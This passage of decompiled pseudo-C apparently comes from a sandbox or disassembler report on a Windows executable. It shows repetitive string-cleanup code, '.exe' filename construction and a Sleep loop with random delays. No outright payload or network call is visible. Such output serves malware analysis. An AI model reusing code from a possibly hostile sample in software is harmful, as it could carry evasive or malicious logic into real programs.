                                                          																									__eflags = _t1151 -  *((intOrPtr*)(_t1499 - 4)) + 0xfffffffc - 0x1f;
                                                          																									if(__eflags > 0) {
                                                          																										goto L313;
                                                          																									} else {
                                                          																										goto L37;
                                                          																									}
                                                          																								}
                                                          																							}
                                                          																						} else {
                                                          																							_t1500 = _v348;
                                                          																							_t1641 = _t1638 + 1;
                                                          																							_t1155 = _t1500;
                                                          																							__eflags = _t1641 - 0x1000;
                                                          																							if(_t1641 < 0x1000) {
                                                          																								L171:
                                                          																								_push(_t1641);
                                                          																								E0040EDFF(_t1500);
                                                          																								_t1716 = _t1716 + 8;
                                                          																								goto L172;
                                                          																							} else {
                                                          																								_t1360 =  *((intOrPtr*)(_t1500 - 4));
                                                          																								_t1557 = _t1641 + 0x23;
                                                          																								__eflags = _t1155 -  *((intOrPtr*)(_t1500 - 4)) + 0xfffffffc - 0x1f;
                                                          																								if(__eflags > 0) {
                                                          																									goto L313;
                                                          																								} else {
                                                          																									goto L171;
                                                          																								}
                                                          																							}
                                                          																						}
                                                          																					} else {
                                                          																						_t1501 = _v428;
                                                          																						_t1642 = _t1637 + 1;
                                                          																						_t1159 = _t1501;
                                                          																						__eflags = _t1642 - 0x1000;
                                                          																						if(_t1642 < 0x1000) {
                                                          																							L167:
                                                          																							_push(_t1642);
                                                          																							E0040EDFF(_t1501);
                                                          																							_t1716 = _t1716 + 8;
                                                          																							goto L168;
                                                          																						} else {
                                                          																							_t1360 =  *((intOrPtr*)(_t1501 - 4));
                                                          																							_t1557 = _t1642 + 0x23;
                                                          																							__eflags = _t1159 -  *((intOrPtr*)(_t1501 - 4)) + 0xfffffffc - 0x1f;
                                                          																							if(__eflags > 0) {
                                                          																								goto L313;
                                                          																							} else {
                                                          																								goto L167;
                                                          																							}
                                                          																						}
                                                          																					}
                                                          																				} else {
                                                          																					_t1502 = _v476;
                                                          																					_t1643 = _t1636 + 1;
                                                          																					_t1163 = _t1502;
                                                          																					__eflags = _t1643 - 0x1000;
                                                          																					if(_t1643 < 0x1000) {
                                                          																						L163:
                                                          																						_push(_t1643);
                                                          																						E0040EDFF(_t1502);
                                                          																						_t1716 = _t1716 + 8;
                                                          																						goto L164;
                                                          																					} else {
                                                          																						_t1360 =  *((intOrPtr*)(_t1502 - 4));
                                                          																						_t1557 = _t1643 + 0x23;
                                                          																						__eflags = _t1163 -  *((intOrPtr*)(_t1502 - 4)) + 0xfffffffc - 0x1f;
                                                          																						if(__eflags > 0) {
                                                          																							goto L313;
                                                          																						} else {
                                                          																							goto L163;
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		} else {
                                                          																			_t1503 = _v452;
                                                          																			_t1630 = _t1630 + 1;
                                                          																			_t1169 = _t1503;
                                                          																			__eflags = _t1630 - 0x1000;
                                                          																			if(_t1630 < 0x1000) {
                                                          																				L153:
                                                          																				_push(_t1630);
                                                          																				E0040EDFF(_t1503);
                                                          																				_t1716 = _t1716 + 8;
                                                          																				goto L154;
                                                          																			} else {
                                                          																				_t1360 =  *((intOrPtr*)(_t1503 - 4));
                                                          																				_t1557 = _t1630 + 0x23;
                                                          																				__eflags = _t1169 -  *((intOrPtr*)(_t1503 - 4)) + 0xfffffffc - 0x1f;
                                                          																				if(__eflags > 0) {
                                                          																					goto L313;
                                                          																				} else {
                                                          																					goto L153;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	} else {
                                                          																		_t1504 = _v428;
                                                          																		_t1644 = _t1629 + 1;
                                                          																		_t1173 = _t1504;
                                                          																		__eflags = _t1644 - 0x1000;
                                                          																		if(_t1644 < 0x1000) {
                                                          																			L149:
                                                          																			_push(_t1644);
                                                          																			E0040EDFF(_t1504);
                                                          																			_t1716 = _t1716 + 8;
                                                          																			goto L150;
                                                          																		} else {
                                                          																			_t1360 =  *((intOrPtr*)(_t1504 - 4));
                                                          																			_t1557 = _t1644 + 0x23;
                                                          																			__eflags = _t1173 -  *((intOrPtr*)(_t1504 - 4)) + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L313;
                                                          																			} else {
                                                          																				goto L149;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	_t1505 = _v476;
                                                          																	_t1645 = _t1628 + 1;
                                                          																	_t1177 = _t1505;
                                                          																	__eflags = _t1645 - 0x1000;
                                                          																	if(_t1645 < 0x1000) {
                                                          																		L145:
                                                          																		_push(_t1645);
                                                          																		E0040EDFF(_t1505);
                                                          																		_t1716 = _t1716 + 8;
                                                          																		goto L146;
                                                          																	} else {
                                                          																		_t1360 =  *((intOrPtr*)(_t1505 - 4));
                                                          																		_t1557 = _t1645 + 0x23;
                                                          																		__eflags = _t1177 -  *((intOrPtr*)(_t1505 - 4)) + 0xfffffffc - 0x1f;
                                                          																		if(__eflags > 0) {
                                                          																			goto L313;
                                                          																		} else {
                                                          																			goto L145;
                                                          																		}
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_push(_t1483);
                                                          																_t1189 = E0040C770( &_v428,  &_v396);
                                                          																_v16 = 0xf;
                                                          																_t1190 = E0040C990( &_v476, _t1189,  &_v348);
                                                          																_t1716 = _t1755 + 8;
                                                          																_t1510 = _t1190;
                                                          																_v16 = 0x10;
                                                          																_t1683 =  *(_t1510 + 0x14);
                                                          																_t1648 =  *(_t1510 + 0x10);
                                                          																__eflags = _t1683 - _t1648 - 4;
                                                          																if(_t1683 - _t1648 < 4) {
                                                          																	_v400 = 0;
                                                          																	_t1510 = E00402980(_t1309, _t1510, _t1683, _t1688, 4, _v400, ".exe", 4);
                                                          																} else {
                                                          																	 *(_t1510 + 0x10) = _t1648 + 4;
                                                          																	_t1210 = _t1510;
                                                          																	__eflags = _t1683 - 0x10;
                                                          																	if(_t1683 >= 0x10) {
                                                          																		_t1210 =  *_t1510;
                                                          																	}
                                                          																	 *((intOrPtr*)(_t1210 + _t1648)) = 0x6578652e;
                                                          																	 *((char*)(_t1210 + _t1648 + 4)) = 0;
                                                          																}
                                                          																 *_t1688 = 0;
                                                          																 *(_t1688 + 0x10) = 0;
                                                          																 *(_t1688 + 0x14) = 0;
                                                          																asm("movups xmm0, [ecx]");
                                                          																asm("movups [esi], xmm0");
                                                          																asm("movq xmm0, [ecx+0x10]");
                                                          																asm("movq [esi+0x10], xmm0");
                                                          																 *(_t1510 + 0x10) = 0;
                                                          																 *(_t1510 + 0x14) = 0xf;
                                                          																 *_t1510 = 0;
                                                          																_t1649 = _v456;
                                                          																__eflags = _t1649 - 0x10;
                                                          																if(_t1649 < 0x10) {
                                                          																	L120:
                                                          																	_t1650 = _v408;
                                                          																	_v460 = 0;
                                                          																	_v456 = 0xf;
                                                          																	_v476 = 0;
                                                          																	__eflags = _t1650 - 0x10;
                                                          																	if(_t1650 < 0x10) {
                                                          																		L124:
                                                          																		_t1651 = _v328;
                                                          																		_v412 = 0;
                                                          																		_v408 = 0xf;
                                                          																		_v428 = 0;
                                                          																		__eflags = _t1651 - 0x10;
                                                          																		if(_t1651 < 0x10) {
                                                          																			L128:
                                                          																			_t1652 = _v352;
                                                          																			_v332 = 0;
                                                          																			_v328 = 0xf;
                                                          																			_v348 = 0;
                                                          																			__eflags = _t1652 - 0x10;
                                                          																			if(__eflags < 0) {
                                                          																				goto L38;
                                                          																			} else {
                                                          																				_t1499 = _v372;
                                                          																				_t1640 = _t1652 + 1;
                                                          																				_t1194 = _t1499;
                                                          																				__eflags = _t1640 - 0x1000;
                                                          																				if(__eflags < 0) {
                                                          																					goto L37;
                                                          																				} else {
                                                          																					_t1360 =  *((intOrPtr*)(_t1499 - 4));
                                                          																					_t1557 = _t1640 + 0x23;
                                                          																					__eflags = _t1194 -  *((intOrPtr*)(_t1499 - 4)) + 0xfffffffc - 0x1f;
                                                          																					if(__eflags > 0) {
                                                          																						goto L313;
                                                          																					} else {
                                                          																						goto L37;
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		} else {
                                                          																			_t1511 = _v348;
                                                          																			_t1653 = _t1651 + 1;
                                                          																			_t1197 = _t1511;
                                                          																			__eflags = _t1653 - 0x1000;
                                                          																			if(_t1653 < 0x1000) {
                                                          																				L127:
                                                          																				_push(_t1653);
                                                          																				E0040EDFF(_t1511);
                                                          																				_t1716 = _t1716 + 8;
                                                          																				goto L128;
                                                          																			} else {
                                                          																				_t1360 =  *((intOrPtr*)(_t1511 - 4));
                                                          																				_t1557 = _t1653 + 0x23;
                                                          																				__eflags = _t1197 -  *((intOrPtr*)(_t1511 - 4)) + 0xfffffffc - 0x1f;
                                                          																				if(__eflags > 0) {
                                                          																					goto L313;
                                                          																				} else {
                                                          																					goto L127;
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	} else {
                                                          																		_t1512 = _v428;
                                                          																		_t1654 = _t1650 + 1;
                                                          																		_t1201 = _t1512;
                                                          																		__eflags = _t1654 - 0x1000;
                                                          																		if(_t1654 < 0x1000) {
                                                          																			L123:
                                                          																			_push(_t1654);
                                                          																			E0040EDFF(_t1512);
                                                          																			_t1716 = _t1716 + 8;
                                                          																			goto L124;
                                                          																		} else {
                                                          																			_t1360 =  *((intOrPtr*)(_t1512 - 4));
                                                          																			_t1557 = _t1654 + 0x23;
                                                          																			__eflags = _t1201 -  *((intOrPtr*)(_t1512 - 4)) + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L313;
                                                          																			} else {
                                                          																				goto L123;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	_t1513 = _v476;
                                                          																	_t1655 = _t1649 + 1;
                                                          																	_t1205 = _t1513;
                                                          																	__eflags = _t1655 - 0x1000;
                                                          																	if(_t1655 < 0x1000) {
                                                          																		L119:
                                                          																		_push(_t1655);
                                                          																		E0040EDFF(_t1513);
                                                          																		_t1716 = _t1716 + 8;
                                                          																		goto L120;
                                                          																	} else {
                                                          																		_t1360 =  *((intOrPtr*)(_t1513 - 4));
                                                          																		_t1557 = _t1655 + 0x23;
                                                          																		__eflags = _t1205 -  *((intOrPtr*)(_t1513 - 4)) + 0xfffffffc - 0x1f;
                                                          																		if(__eflags > 0) {
                                                          																			goto L313;
                                                          																		} else {
                                                          																			goto L119;
                                                          																		}
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t1514 = _v452;
                                                          															_t1624 = _t1624 + 1;
                                                          															_t1211 = _t1514;
                                                          															__eflags = _t1624 - 0x1000;
                                                          															if(_t1624 < 0x1000) {
                                                          																L109:
                                                          																_push(_t1624);
                                                          																E0040EDFF(_t1514);
                                                          																_t1716 = _t1716 + 8;
                                                          																goto L110;
                                                          															} else {
                                                          																_t1360 =  *((intOrPtr*)(_t1514 - 4));
                                                          																_t1557 = _t1624 + 0x23;
                                                          																__eflags = _t1211 -  *((intOrPtr*)(_t1514 - 4)) + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	goto L313;
                                                          																} else {
                                                          																	goto L109;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t1515 = _v428;
                                                          														_t1656 = _t1623 + 1;
                                                          														_t1215 = _t1515;
                                                          														__eflags = _t1656 - 0x1000;
                                                          														if(_t1656 < 0x1000) {
                                                          															L105:
                                                          															_push(_t1656);
                                                          															E0040EDFF(_t1515);
                                                          															_t1716 = _t1716 + 8;
                                                          															goto L106;
                                                          														} else {
                                                          															_t1360 =  *((intOrPtr*)(_t1515 - 4));
                                                          															_t1557 = _t1656 + 0x23;
                                                          															__eflags = _t1215 -  *((intOrPtr*)(_t1515 - 4)) + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																goto L313;
                                                          															} else {
                                                          																goto L105;
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													_t1516 = _v476;
                                                          													_t1657 = _t1622 + 1;
                                                          													_t1219 = _t1516;
                                                          													__eflags = _t1657 - 0x1000;
                                                          													if(_t1657 < 0x1000) {
                                                          														L101:
                                                          														_push(_t1657);
                                                          														E0040EDFF(_t1516);
                                                          														_t1716 = _t1716 + 8;
                                                          														goto L102;
                                                          													} else {
                                                          														_t1360 =  *((intOrPtr*)(_t1516 - 4));
                                                          														_t1557 = _t1657 + 0x23;
                                                          														__eflags = _t1219 -  *((intOrPtr*)(_t1516 - 4)) + 0xfffffffc - 0x1f;
                                                          														if(__eflags > 0) {
                                                          															goto L313;
                                                          														} else {
                                                          															goto L101;
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_push(_t1474);
                                                          												_t1233 = E0040C770( &_v452,  &_v396);
                                                          												_v16 = 0xa;
                                                          												_t1234 = E0040C990( &_v428, _t1233,  &_v348);
                                                          												_t1716 = _t1752 + 8;
                                                          												_t1520 = _t1234;
                                                          												_v16 = 0xb;
                                                          												_t1683 =  *(_t1520 + 0x14);
                                                          												_t1660 =  *(_t1520 + 0x10);
                                                          												__eflags = _t1683 - _t1660 - 4;
                                                          												if(_t1683 - _t1660 < 4) {
                                                          													_v400 = 0;
                                                          													_t1520 = E00402980(_t1309, _t1520, _t1683, _t1688, 4, _v400, ".exe", 4);
                                                          												} else {
                                                          													 *(_t1520 + 0x10) = _t1660 + 4;
                                                          													_t1254 = _t1520;
                                                          													__eflags = _t1683 - 0x10;
                                                          													if(_t1683 >= 0x10) {
                                                          														_t1254 =  *_t1520;
                                                          													}
                                                          													 *((intOrPtr*)(_t1254 + _t1660)) = 0x6578652e;
                                                          													 *((char*)(_t1254 + _t1660 + 4)) = 0;
                                                          												}
                                                          												 *_t1688 = 0;
                                                          												 *(_t1688 + 0x10) = 0;
                                                          												 *(_t1688 + 0x14) = 0;
                                                          												asm("movups xmm0, [ecx]");
                                                          												asm("movups [esi], xmm0");
                                                          												asm("movq xmm0, [ecx+0x10]");
                                                          												asm("movq [esi+0x10], xmm0");
                                                          												 *(_t1520 + 0x10) = 0;
                                                          												 *(_t1520 + 0x14) = 0xf;
                                                          												 *_t1520 = 0;
                                                          												_t1661 = _v408;
                                                          												__eflags = _t1661 - 0x10;
                                                          												if(_t1661 < 0x10) {
                                                          													L75:
                                                          													_t1662 = _v432;
                                                          													_v412 = 0;
                                                          													_v408 = 0xf;
                                                          													_v428 = 0;
                                                          													__eflags = _t1662 - 0x10;
                                                          													if(_t1662 < 0x10) {
                                                          														L79:
                                                          														_t1663 = _v328;
                                                          														_v436 = 0;
                                                          														_v432 = 0xf;
                                                          														_v452 = 0;
                                                          														__eflags = _t1663 - 0x10;
                                                          														if(_t1663 < 0x10) {
                                                          															L83:
                                                          															_t1664 = _v352;
                                                          															_v332 = 0;
                                                          															_v328 = 0xf;
                                                          															_v348 = 0;
                                                          															__eflags = _t1664 - 0x10;
                                                          															if(__eflags < 0) {
                                                          																goto L38;
                                                          															} else {
                                                          																_t1499 = _v372;
                                                          																_t1640 = _t1664 + 1;
                                                          																_t1238 = _t1499;
                                                          																__eflags = _t1640 - 0x1000;
                                                          																if(__eflags < 0) {
                                                          																	goto L37;
                                                          																} else {
                                                          																	_t1360 =  *((intOrPtr*)(_t1499 - 4));
                                                          																	_t1557 = _t1640 + 0x23;
                                                          																	__eflags = _t1238 -  *((intOrPtr*)(_t1499 - 4)) + 0xfffffffc - 0x1f;
                                                          																	if(__eflags > 0) {
                                                          																		goto L313;
                                                          																	} else {
                                                          																		goto L37;
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t1521 = _v348;
                                                          															_t1665 = _t1663 + 1;
                                                          															_t1241 = _t1521;
                                                          															__eflags = _t1665 - 0x1000;
                                                          															if(_t1665 < 0x1000) {
                                                          																L82:
                                                          																_push(_t1665);
                                                          																E0040EDFF(_t1521);
                                                          																_t1716 = _t1716 + 8;
                                                          																goto L83;
                                                          															} else {
                                                          																_t1360 =  *((intOrPtr*)(_t1521 - 4));
                                                          																_t1557 = _t1665 + 0x23;
                                                          																__eflags = _t1241 -  *((intOrPtr*)(_t1521 - 4)) + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	goto L313;
                                                          																} else {
                                                          																	goto L82;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t1522 = _v452;
                                                          														_t1666 = _t1662 + 1;
                                                          														_t1245 = _t1522;
                                                          														__eflags = _t1666 - 0x1000;
                                                          														if(_t1666 < 0x1000) {
                                                          															L78:
                                                          															_push(_t1666);
                                                          															E0040EDFF(_t1522);
                                                          															_t1716 = _t1716 + 8;
                                                          															goto L79;
                                                          														} else {
                                                          															_t1360 =  *((intOrPtr*)(_t1522 - 4));
                                                          															_t1557 = _t1666 + 0x23;
                                                          															__eflags = _t1245 -  *((intOrPtr*)(_t1522 - 4)) + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																goto L313;
                                                          															} else {
                                                          																goto L78;
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													_t1523 = _v428;
                                                          													_t1667 = _t1661 + 1;
                                                          													_t1249 = _t1523;
                                                          													__eflags = _t1667 - 0x1000;
                                                          													if(_t1667 < 0x1000) {
                                                          														L74:
                                                          														_push(_t1667);
                                                          														E0040EDFF(_t1523);
                                                          														_t1716 = _t1716 + 8;
                                                          														goto L75;
                                                          													} else {
                                                          														_t1360 =  *((intOrPtr*)(_t1523 - 4));
                                                          														_t1557 = _t1667 + 0x23;
                                                          														__eflags = _t1249 -  *((intOrPtr*)(_t1523 - 4)) + 0xfffffffc - 0x1f;
                                                          														if(__eflags > 0) {
                                                          															goto L313;
                                                          														} else {
                                                          															goto L74;
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t1524 = _v324;
                                                          											_t1618 =  &(1[_t1618]);
                                                          											_t1255 = _t1524;
                                                          											__eflags = _t1618 - 0x1000;
                                                          											if(_t1618 < 0x1000) {
                                                          												L64:
                                                          												_push(_t1618);
                                                          												E0040EDFF(_t1524);
                                                          												_t1716 = _t1716 + 8;
                                                          												goto L65;
                                                          											} else {
                                                          												_t1360 =  *((intOrPtr*)(_t1524 - 4));
                                                          												_t1557 = _t1618 + 0x23;
                                                          												__eflags = _t1255 -  *((intOrPtr*)(_t1524 - 4)) + 0xfffffffc - 0x1f;
                                                          												if(__eflags > 0) {
                                                          													goto L314;
                                                          												} else {
                                                          													goto L64;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t1525 = _v452;
                                                          										_t1668 = _t1617 + 1;
                                                          										_t1259 = _t1525;
                                                          										__eflags = _t1668 - 0x1000;
                                                          										if(_t1668 < 0x1000) {
                                                          											L60:
                                                          											_push(_t1668);
                                                          											E0040EDFF(_t1525);
                                                          											_t1716 = _t1716 + 8;
                                                          											goto L61;
                                                          										} else {
                                                          											_t1360 =  *((intOrPtr*)(_t1525 - 4));
                                                          											_t1557 = _t1668 + 0x23;
                                                          											__eflags = _t1259 -  *((intOrPtr*)(_t1525 - 4)) + 0xfffffffc - 0x1f;
                                                          											if(__eflags > 0) {
                                                          												goto L314;
                                                          											} else {
                                                          												goto L60;
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t1526 = _v428;
                                                          									_t1669 = _t1616 + 1;
                                                          									_t1263 = _t1526;
                                                          									__eflags = _t1669 - 0x1000;
                                                          									if(_t1669 < 0x1000) {
                                                          										L56:
                                                          										_push(_t1669);
                                                          										E0040EDFF(_t1526);
                                                          										_t1716 = _t1716 + 8;
                                                          										goto L57;
                                                          									} else {
                                                          										_t1360 =  *((intOrPtr*)(_t1526 - 4));
                                                          										_t1557 = _t1669 + 0x23;
                                                          										__eflags = _t1263 -  *((intOrPtr*)(_t1526 - 4)) + 0xfffffffc - 0x1f;
                                                          										if(__eflags > 0) {
                                                          											goto L314;
                                                          										} else {
                                                          											goto L56;
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_push(_t1465);
                                                          								_t1275 = E0040C770( &_v452,  &_v396);
                                                          								_v16 = 5;
                                                          								_t1276 = E0040C990( &_v428, _t1275,  &_v348);
                                                          								_t1716 = _t1749 + 8;
                                                          								_t1530 = _t1276;
                                                          								_v16 = 6;
                                                          								_t1683 =  *(_t1530 + 0x14);
                                                          								_t1672 =  *(_t1530 + 0x10);
                                                          								if(_t1683 - _t1672 < 4) {
                                                          									_v400 = 0;
                                                          									_t1530 = E00402980(_t1309, _t1530, _t1683, _t1688, 4, _v400, ".exe", 4);
                                                          								} else {
                                                          									 *(_t1530 + 0x10) = _t1672 + 4;
                                                          									_t1296 = _t1530;
                                                          									if(_t1683 >= 0x10) {
                                                          										_t1296 =  *_t1530;
                                                          									}
                                                          									 *((intOrPtr*)(_t1296 + _t1672)) = 0x6578652e;
                                                          									 *((char*)(_t1296 + _t1672 + 4)) = 0;
                                                          								}
                                                          								 *_t1688 = 0;
                                                          								 *(_t1688 + 0x10) = 0;
                                                          								 *(_t1688 + 0x14) = 0;
                                                          								asm("movups xmm0, [ecx]");
                                                          								asm("movups [esi], xmm0");
                                                          								asm("movq xmm0, [ecx+0x10]");
                                                          								asm("movq [esi+0x10], xmm0");
                                                          								 *(_t1530 + 0x10) = 0;
                                                          								 *(_t1530 + 0x14) = 0xf;
                                                          								 *_t1530 = 0;
                                                          								_t1673 = _v408;
                                                          								if(_t1673 < 0x10) {
                                                          									L26:
                                                          									_t1674 = _v432;
                                                          									_v412 = 0;
                                                          									_v408 = 0xf;
                                                          									_v428 = 0;
                                                          									if(_t1674 < 0x10) {
                                                          										L30:
                                                          										_t1675 = _v328;
                                                          										_v436 = 0;
                                                          										_v432 = 0xf;
                                                          										_v452 = 0;
                                                          										if(_t1675 < 0x10) {
                                                          											L34:
                                                          											_t1676 = _v352;
                                                          											_v332 = 0;
                                                          											_v328 = 0xf;
                                                          											_v348 = 0;
                                                          											if(_t1676 < 0x10) {
                                                          												L38:
                                                          												_v356 = 0;
                                                          												_v352 = 0xf;
                                                          												_v372 = 0;
                                                          												L39:
                                                          												_t1557 = _v376;
                                                          												if(_t1557 < 0x10) {
                                                          													L311:
                                                          													 *[fs:0x0] = _v24;
                                                          													_pop(_t1684);
                                                          													_pop(_t1689);
                                                          													return E0040EBBF(_t1688, _t1309, _v32 ^ _t1698, _t1557, _t1684, _t1689);
                                                          												} else {
                                                          													_t1435 = _v396;
                                                          													_t1557 =  &(1[_t1557]);
                                                          													_t990 = _t1435;
                                                          													if(_t1557 < 0x1000) {
                                                          														L274:
                                                          														_push(_t1557);
                                                          														E0040EDFF(_t1435);
                                                          														goto L311;
                                                          													} else {
                                                          														_t1360 =  *((intOrPtr*)(_t1435 - 4));
                                                          														_t1557 = _t1557 + 0x23;
                                                          														if(_t990 -  *((intOrPtr*)(_t1435 - 4)) + 0xfffffffc > 0x1f) {
                                                          															goto L313;
                                                          														} else {
                                                          															goto L274;
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_t1499 = _v372;
                                                          												_t1640 = _t1676 + 1;
                                                          												_t1280 = _t1499;
                                                          												if(_t1640 < 0x1000) {
                                                          													L37:
                                                          													_push(_t1640);
                                                          													E0040EDFF(_t1499);
                                                          													_t1716 = _t1716 + 8;
                                                          													goto L38;
                                                          												} else {
                                                          													_t1360 =  *((intOrPtr*)(_t1499 - 4));
                                                          													_t1557 = _t1640 + 0x23;
                                                          													if(_t1280 -  *((intOrPtr*)(_t1499 - 4)) + 0xfffffffc > 0x1f) {
                                                          														goto L313;
                                                          													} else {
                                                          														goto L37;
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t1531 = _v348;
                                                          											_t1677 = _t1675 + 1;
                                                          											_t1283 = _t1531;
                                                          											if(_t1677 < 0x1000) {
                                                          												L33:
                                                          												_push(_t1677);
                                                          												E0040EDFF(_t1531);
                                                          												_t1716 = _t1716 + 8;
                                                          												goto L34;
                                                          											} else {
                                                          												_t1360 =  *((intOrPtr*)(_t1531 - 4));
                                                          												_t1557 = _t1677 + 0x23;
                                                          												if(_t1283 -  *((intOrPtr*)(_t1531 - 4)) + 0xfffffffc > 0x1f) {
                                                          													goto L313;
                                                          												} else {
                                                          													goto L33;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t1532 = _v452;
                                                          										_t1678 = _t1674 + 1;
                                                          										_t1287 = _t1532;
                                                          										if(_t1678 < 0x1000) {
                                                          											L29:
                                                          											_push(_t1678);
                                                          											E0040EDFF(_t1532);
                                                          											_t1716 = _t1716 + 8;
                                                          											goto L30;
                                                          										} else {
                                                          											_t1360 =  *((intOrPtr*)(_t1532 - 4));
                                                          											_t1557 = _t1678 + 0x23;
                                                          											if(_t1287 -  *((intOrPtr*)(_t1532 - 4)) + 0xfffffffc > 0x1f) {
                                                          												goto L313;
                                                          											} else {
                                                          												goto L29;
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t1533 = _v428;
                                                          									_t1679 = _t1673 + 1;
                                                          									_t1291 = _t1533;
                                                          									if(_t1679 < 0x1000) {
                                                          										L25:
                                                          										_push(_t1679);
                                                          										E0040EDFF(_t1533);
                                                          										_t1716 = _t1716 + 8;
                                                          										goto L26;
                                                          									} else {
                                                          										_t1360 =  *((intOrPtr*)(_t1533 - 4));
                                                          										_t1557 = _t1679 + 0x23;
                                                          										if(_t1291 -  *((intOrPtr*)(_t1533 - 4)) + 0xfffffffc > 0x1f) {
                                                          											goto L313;
                                                          										} else {
                                                          											goto L25;
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t1534 = _v476;
                                                          							_t1612 = _t1612 + 1;
                                                          							_t1297 = _t1534;
                                                          							if(_t1612 < 0x1000) {
                                                          								L15:
                                                          								_push(_t1612);
                                                          								E0040EDFF(_t1534);
                                                          								_t1716 = _t1716 + 8;
                                                          								goto L16;
                                                          							} else {
                                                          								_t1360 =  *((intOrPtr*)(_t1534 - 4));
                                                          								_t1557 = _t1612 + 0x23;
                                                          								if(_t1297 -  *((intOrPtr*)(_t1534 - 4)) + 0xfffffffc > 0x1f) {
                                                          									goto L312;
                                                          								} else {
                                                          									goto L15;
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						_t1535 = _v428;
                                                          						_t1680 = _t1611 + 1;
                                                          						_t1302 = _t1535;
                                                          						if(_t1680 < 0x1000) {
                                                          							L11:
                                                          							_push(_t1680);
                                                          							E0040EDFF(_t1535);
                                                          							_t1716 = _t1716 + 8;
                                                          							goto L12;
                                                          						} else {
                                                          							_t1360 =  *((intOrPtr*)(_t1535 - 4));
                                                          							_t1557 = _t1680 + 0x23;
                                                          							if(_t1302 -  *((intOrPtr*)(_t1535 - 4)) + 0xfffffffc > 0x1f) {
                                                          								L312:
                                                          								E00413527(_t1309, _t1557, __eflags);
                                                          								L313:
                                                          								E00413527(_t1309, _t1557, __eflags);
                                                          								L314:
                                                          								E00413527(_t1309, _t1557, __eflags);
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								asm("int3");
                                                          								_push(_t1698);
                                                          								_t1700 = _t1716;
                                                          								_push(0xffffffff);
                                                          								_push(0x42ca27);
                                                          								_push( *[fs:0x0]);
                                                          								_t1724 = _t1716 - 0x4dc;
                                                          								_t870 =  *0x43d054; // 0x6e36c9b5
                                                          								_t871 = _t870 ^ _t1700;
                                                          								_v508 = _t871;
                                                          								_push(_t1309);
                                                          								_push(_t1688);
                                                          								_push(_t1683);
                                                          								_push(_t871);
                                                          								 *[fs:0x0] =  &_v504;
                                                          								_v496 = 0;
                                                          								_t873 = E00405F40(_t1309, _t1683); // executed
                                                          								_t1311 = Sleep;
                                                          								__eflags = _t873;
                                                          								if(__eflags != 0) {
                                                          									_t1688 = 0x7d0;
                                                          									do {
                                                          										_t960 = E00417DF6(_t1360, __eflags);
                                                          										asm("cdq");
                                                          										_t1557 = _t960 % 0x7d0 + 0x3e8;
                                                          										Sleep(_t960 % 0x7d0 + 0x3e8);
                                                          										__eflags = E00405F40(Sleep, _t1683);
                                                          									} while (__eflags != 0);
                                                          								}
                                                          								E00401960( &_v760, "1"); // executed
                                                          								_v20 = 1;
                                                          								_t877 = E00402510( &_v1152, E0040B8F0(E00409340(_t1311, _t1557, _t1683, _t1688)));
                                                          								_v20 = 2;
                                                          								_t880 = E00402510( &_v1128, E0040B800(E00409290(_t1557, _t877, _t1688)));
                                                          								_v20 = 3;
                                                          								L352();
                                                          								_t882 = E00402510( &_v1272, E0040B7D0(_t880));
                                                          								_v20 = 4;
                                                          								_t883 = E0040C930( &_v1248, 0x450e3c, _t882);
                                                          								_v20 = 5;
                                                          								_t884 = E0040C990( &_v1224, _t883,  &_v8);
                                                          								_v20 = 6;
                                                          								_t885 = E0040CA40( &_v1200, _t884, _t880);
                                                          								_v20 = 7;
                                                          								_t886 = E0040CA40( &_v1176, _t885, _t877);
                                                          								_v20 = 8;
                                                          								E0040C990( &_v104, _t886, 0x450e24);
                                                          								_t1730 = _t1724 - 0x10 + 0x14;
                                                          								E00402440(_t1311,  &_v1176);
                                                          								E00402440(_t1311,  &_v1200);
                                                          								E00402440(_t1311,  &_v1224);
                                                          								E00402440(_t1311,  &_v1248);
                                                          								E00402440(_t1311,  &_v1272);
                                                          								E00402440(_t1311,  &_v1128);
                                                          								_v20 = 0x10;
                                                          								E00402440(_t1311,  &_v1152);
                                                          								_t1691 = 0;
                                                          								__eflags = 0;
                                                          								_t1686 = 0xc8;
                                                          								while(1) {
                                                          									_t1691 =  &(1[_t1691]);
                                                          									_t895 = E00402400( &_v104);
                                                          									_t1382 =  &_v760;
